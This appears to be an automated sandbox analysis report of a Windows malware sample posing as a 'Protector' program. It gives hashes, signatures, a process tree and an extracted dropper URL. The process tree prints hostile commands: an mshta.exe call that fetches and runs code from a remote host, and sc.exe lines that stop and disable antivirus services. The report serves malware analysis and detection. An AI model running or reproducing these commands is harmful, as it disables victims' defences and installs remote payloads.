Analysis

  • max time kernel
    149s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    29-09-2024 14:19

General

  • Target

    feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe

  • Size

    2.1MB

  • MD5

    feb4a1e95f3ac74c6e7a3b85a7a11834

  • SHA1

    fca4199e3320a006453d16bb8ac105354d6581ff

  • SHA256

    4192d1084d9dd28e293bdce815592fa71c8722d9c91083b8c8c9b8cfec061d49

  • SHA512

    854fd8be770ec36243f7349cc1210364a3d7d941e23cdaa4316808bdc965bddcc000f6f7971e8fc116fd54b6912f62ea5b220f717e1b1dd28f0db2bd9290eb35

  • SSDEEP

    49152:D2q3civpMQ9OFnvQNNSNuknmQo6O1g5XcvCt6CfKppWOM:DrciveQ9OFnv+4N1A6O16rcvpxM

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=40&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=hedphpnjnr&14=1

Signatures

  • Disables service(s) 3 TTPs
  • UAC bypass 3 TTPs 3 IoCs
  • Disables taskbar notifications via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\m41l78u9uprxqjv.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\m41l78u9uprxqjv.exe" -e -p2pn8xu698ah0qb9
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\b6thynos8b04n66.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\b6thynos8b04n66.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Users\Admin\AppData\Roaming\Protector-knlh.exe
          C:\Users\Admin\AppData\Roaming\Protector-knlh.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:2664
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=40&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=hedphpnjnr&14=1"
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            PID:2416
          • C:\Windows\SysWOW64\sc.exe
            sc stop WinDefend
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1236
          • C:\Windows\SysWOW64\sc.exe
            sc config WinDefend start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1276
          • C:\Windows\SysWOW64\sc.exe
            sc stop msmpsvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2028
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:112
          • C:\Windows\SysWOW64\sc.exe
            sc config ekrn start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1608
          • C:\Windows\SysWOW64\sc.exe
            sc stop AntiVirService
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1404
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1516
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirSchedulerService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1956
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\B6THYN~1.EXE" >> NUL
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2716

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Local\Temp\RarSFX0\m41l78u9uprxqjv.exe

    Filesize

    2.0MB

    MD5

    c5198aad190a58d59fa4cf9d548bc536

    SHA1

    bed2e67fc1ca223daad46f6ca4089cf1d5e33b08

    SHA256

    5f6f239087a40ff9025beffeecb6ecf0eb4c8f588ff0015b3ee9423f7ff5d804

    SHA512

    fc6a7593130cfa516866a5bd9b6bcc70ec853da5eda3256db6dc09cb8451aac74fbd1964a7a75eb967adf319f8c325b6cac5d9791d5bc24a7edcbc211791b1fc

  • \Users\Admin\AppData\Local\Temp\RarSFX1\b6thynos8b04n66.exe

    Filesize

    2.0MB

    MD5

    d747f50d679159a5c8f70af8c6f1229a

    SHA1

    728b2cdbe38671c3f558dc4be90fd006339159df

    SHA256

    56c7e379cdc925ed01ce7e48d19c608c69bc565e6ec7d3d9670099d1dd5ea62b

    SHA512

    937f56d6bb1cad56e4fb916f46d5cdd02f5336f4511a28c1459095cf124ce61254efa518a0d0cd69102a44cc5255347d55f18100853dd0feaff96d775b453c68

  • memory/2512-32-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2512-20-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2512-29-0x0000000005260000-0x0000000005691000-memory.dmp

    Filesize

    4.2MB

  • memory/2652-18-0x0000000003A00000-0x0000000003E31000-memory.dmp

    Filesize

    4.2MB

  • memory/2652-17-0x0000000003A00000-0x0000000003E31000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-58-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-63-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-39-0x0000000004890000-0x00000000048A0000-memory.dmp

    Filesize

    64KB

  • memory/2664-55-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-56-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-33-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-59-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-61-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-62-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-40-0x0000000004890000-0x00000000048A0000-memory.dmp

    Filesize

    64KB

  • memory/2664-64-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-65-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-66-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-67-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-68-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-69-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-70-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB

  • memory/2664-71-0x0000000000400000-0x0000000000831000-memory.dmp

    Filesize

    4.2MB